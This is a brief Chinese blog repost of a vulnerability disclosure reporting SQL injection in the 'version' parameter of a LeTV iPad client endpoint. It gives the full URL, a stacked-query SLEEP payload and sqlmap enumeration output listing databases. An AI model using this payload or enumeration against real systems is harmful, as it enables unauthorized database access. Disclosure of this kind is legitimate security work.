乐视网IPAD客户端SQL注射一枚 – 网站安全

http://dynamic.app.m.letv.com:80/android/dynamic.php?mod=audit&ctl=audit&act=indexv1&pcode=010510000&version=5.0

---

Place: GET
Parameter: version
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: mod=audit&ctl=audit&act=indexv1&pcode=010510000&version=5.0'; SELEC
T SLEEP(5)--
---

version参数存在注入

web application technology: Nginx, PHP 5.4.4

back-end DBMS: MySQL 5.0.11

乐视网IPAD客户端SQL注射一枚 – 网站安全 – 自学插图

available databases [2]:
[*] information_schema
[*] mclient

乐视网IPAD客户端SQL注射一枚 – 网站安全 – 自学插图1

跑表速度太慢了...就不跑了

mclient库有148个表

乐视网IPAD客户端SQL注射一枚 – 网站安全 – 自学插图2

修复方案：

过滤相关参数！

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了，原文地址《乐视网IPAD客户端SQL注射一枚 – 网站安全 – 自学》